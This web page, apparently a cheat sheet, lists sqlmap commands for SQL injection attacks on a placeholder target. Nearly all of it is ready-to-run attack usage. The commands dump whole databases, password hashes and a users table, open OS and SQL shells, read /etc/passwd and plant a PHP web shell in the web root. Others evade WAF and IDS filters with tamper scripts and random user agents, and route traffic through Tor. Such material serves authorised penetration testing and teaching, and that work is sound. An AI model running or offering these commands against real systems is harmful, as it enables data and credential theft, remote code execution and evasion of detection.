Skip to main content

​
Basic Usage

sqlmap -u "http://TARGET/page?id=1"
sqlmap -u "http://TARGET/page?id=1" --batch          # Auto-answer prompts
sqlmap -u "http://TARGET/page?id=1" --dbs             # List databases

​
Request Options

​
POST Data

sqlmap -u "http://TARGET/login" --data="user=admin&pass=test"

sqlmap -u "http://TARGET/page?id=1" --cookie="PHPSESSID=abc123"

​
Headers

sqlmap -u "http://TARGET/page?id=1" -H "Authorization: Bearer TOKEN"
sqlmap -u "http://TARGET/page?id=1" -H "X-Forwarded-For: 127.0.0.1"

​
From Burp Request File

sqlmap -r request.txt
sqlmap -r request.txt -p id          # Specify parameter

​
Custom Injection Point

sqlmap -u "http://TARGET/page" --data="id=1*"         # * marks injection point
sqlmap -r request.txt --headers="X-Custom: test*"

​
Enumeration

sqlmap -u URL --dbs                                    # Databases
sqlmap -u URL -D dbname --tables                       # Tables
sqlmap -u URL -D dbname -T users --columns             # Columns
sqlmap -u URL -D dbname -T users --dump                # Dump table
sqlmap -u URL -D dbname -T users -C user,pass --dump   # Specific columns
sqlmap -u URL --dump-all                               # Dump everything

​
Current Info

sqlmap -u URL --current-user
sqlmap -u URL --current-db
sqlmap -u URL --hostname
sqlmap -u URL --is-dba
sqlmap -u URL --privileges
sqlmap -u URL --passwords                              # Hash dump

​
Techniques

sqlmap -u URL --technique=U          # UNION only
sqlmap -u URL --technique=B          # Boolean blind only
sqlmap -u URL --technique=T          # Time-based blind only
sqlmap -u URL --technique=E          # Error-based only
sqlmap -u URL --technique=S          # Stacked queries only
sqlmap -u URL --technique=BEUSTQ     # All (default; Q = inline queries)
FlagTechnique
BBoolean-based blind
EError-based
UUNION query
SStacked queries
TTime-based blind

​
OS Shell & File Access

​
OS Shell

sqlmap -u URL --os-shell
sqlmap -u URL --os-cmd="whoami"

​
SQL Shell

sqlmap -u URL --sql-shell

​
File Read

sqlmap -u URL --file-read="/etc/passwd"

​
File Write

sqlmap -u URL --file-write="shell.php" --file-dest="/var/www/html/shell.php"

​
WAF / IDS Evasion

​
Tamper Scripts

sqlmap -u URL --tamper=space2comment
sqlmap -u URL --tamper=between,randomcase
sqlmap -u URL --tamper=charencode

​
Common Tampers

TamperDescription
space2commentReplace spaces with /**/
betweenReplace > with NOT BETWEEN 0 AND
randomcaseRandom upper/lower case
charencodeURL-encode characters
equaltolikeReplace = with LIKE
base64encodeBase64 encode payload
apostrophemaskReplace ' with UTF-8
space2plusReplace spaces with +

​
List All Tampers

sqlmap --list-tampers

​
Other Evasion

sqlmap -u URL --random-agent
sqlmap -u URL --delay=2              # Delay between requests
sqlmap -u URL --time-sec=10          # Time-based wait
sqlmap -u URL --level=5 --risk=3     # Max detection
sqlmap -u URL --hpp                  # HTTP Parameter Pollution

​
Performance

sqlmap -u URL --threads=10
sqlmap -u URL --level=3              # 1-5, default 1
sqlmap -u URL --risk=2               # 1-3, default 1
LevelTests
1GET/POST parameters
2+ Cookie
3+ User-Agent, Referer
4+ more payloads
5+ Host header

​
Proxy & Tor

sqlmap -u URL --proxy="http://127.0.0.1:8080"          # Burp proxy
sqlmap -u URL --tor --tor-type=SOCKS5 --check-tor

​
Second-Order Injection

sqlmap -r request.txt --second-url="http://TARGET/profile"

​
Quick Reference

TaskCommand
Auto scansqlmap -u URL --batch --dbs
Dump tablesqlmap -u URL -D db -T tbl --dump
OS shellsqlmap -u URL --os-shell
Read filesqlmap -u URL --file-read="/etc/passwd"
WAF bypasssqlmap -u URL --tamper=space2comment --random-agent
From Burpsqlmap -r request.txt -p param

​
Sources